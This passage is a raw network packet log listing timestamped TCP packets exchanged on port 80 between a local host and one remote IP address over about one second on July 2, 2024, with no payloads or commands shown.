Jul 2, 2024 15:26:27.689910889 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.689920902 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.689934969 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.689938068 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.689954042 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.689980030 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.725884914 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.725955009 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.725969076 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.726129055 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.726129055 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.726169109 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.726180077 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.726197958 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.726207972 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.726217985 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.726243973 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.726264954 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.726532936 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.726589918 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.726617098 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.726629019 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.726646900 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.726659060 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.726689100 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.726878881 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.726891041 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.726927996 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.727104902 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.727117062 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.727139950 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.727153063 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.727154970 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.727169991 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.727174044 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.727180004 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.727197886 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.727201939 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.727209091 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.727222919 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.727227926 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.727242947 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.727267981 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.727906942 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.727919102 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.727935076 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.727943897 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.727953911 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.727962017 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.727972984 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.727972984 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.727988005 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.727998018 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.728010893 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.728023052 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.728029013 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.728029013 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.728049040 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.728074074 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.728789091 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.728804111 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.728813887 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.728830099 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.728830099 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.728843927 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.728844881 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.728859901 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.728862047 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.728873968 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.728878021 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.728890896 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.728894949 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.728908062 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.728908062 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.728916883 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.728925943 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.728950977 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.728967905 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.729712963 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.729723930 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.729741096 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.729752064 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.729768038 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.729773998 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.729775906 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.729788065 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.729801893 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.729804039 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.729818106 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.729823112 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.729831934 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.729842901 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.729850054 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.729861021 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.729876041 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.729899883 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.730607033 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.730623007 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.730633020 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.730650902 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.730653048 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.730662107 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.730676889 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.730684996 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.730695009 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.730705976 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.730715990 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.730719090 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.730726004 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.730743885 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.730746031 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.730767012 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.730787039 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.731487989 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.731499910 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.731523037 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.731535912 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.731537104 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.731547117 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.731553078 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.731565952 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.731568098 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.731579065 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.731586933 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.731595039 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.731609106 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.731610060 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.731626034 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.731637001 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.731659889 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.731686115 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.732379913 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.732393980 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.732409000 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.732419014 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.732419014 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.732435942 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.732439041 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.732445002 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.732450962 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.732465982 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.732466936 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.732485056 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.732501030 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.732523918 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.732537031 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.732584000 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.767853022 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.767889023 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.767908096 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.767942905 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.767955065 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.767967939 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.768156052 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.768156052 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.768280029 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.768290997 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.768307924 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.768320084 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.768337011 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.768342018 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.768352032 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.768357038 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.768368006 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.768393993 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.768421888 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.768784046 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.768795967 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.768843889 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.778717041 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.778785944 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.778805017 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.778901100 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.779007912 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.779007912 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.779007912 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.779036045 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.779048920 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.779093981 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.779186964 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.779197931 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.779215097 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.779228926 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.779238939 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.779259920 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.779284954 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.779561043 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.779571056 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.779587984 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.779599905 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.779606104 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.779639959 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.814867020 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.814924002 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.814935923 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.815057993 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.815494061 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.815514088 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.815526009 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.815538883 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.815553904 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.815577030 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.815586090 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.815603971 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.815646887 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.815646887 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.815646887 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.815646887 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.815646887 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.815758944 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.815771103 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.815809011 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.815953016 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.815963984 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.815979958 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.815989017 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.816005945 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.816009998 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.816019058 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.816020966 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.816050053 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.816071033 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.816355944 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.816370010 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.816386938 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.816396952 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.816399097 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.816414118 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.816428900 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.816452980 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.816741943 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.816790104 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.816811085 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.816823959 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.816838026 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.816850901 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.816854954 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.816862106 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.816864967 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.816889048 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.816910982 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.817353010 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.817363977 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.817379951 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.817389965 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.817399979 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.817406893 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.817416906 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.817425013 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.817434072 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.817442894 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.817447901 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.817466021 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.817478895 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.818161964 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.818180084 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.818190098 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.818207026 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.818207026 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.818217993 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.818232059 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.818233967 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.818244934 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.818260908 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.818263054 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.818270922 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.818280935 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.818289042 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.818294048 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.818320036 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.818331957 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.818764925 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.818778038 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.818792105 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.818805933 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.818809986 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.818831921 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.818845987 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.818854094 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.818856955 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.818876028 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.818886042 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.818897963 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.818903923 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.818913937 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.818922043 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.818943024 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.818967104 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.819745064 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.819755077 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.819772005 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.819783926 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.819792986 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.819796085 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.819812059 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.819814920 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.819825888 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.819840908 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.819840908 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.819854021 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.819866896 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.819870949 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.819880962 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.819885015 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.819907904 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.819932938 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.820679903 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.820691109 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.820710897 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.820723057 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.820729971 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.820736885 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.820750952 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.820753098 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.820761919 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.820777893 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.820780039 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.820787907 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.820805073 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.820806026 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.820826054 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.820862055 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.821506977 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.821517944 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.821540117 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.821549892 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.821557999 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.821567059 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.821577072 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.821578026 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.821577072 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.821594000 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.821607113 CEST	49744	80	192.168.2.4	77.91.77.81
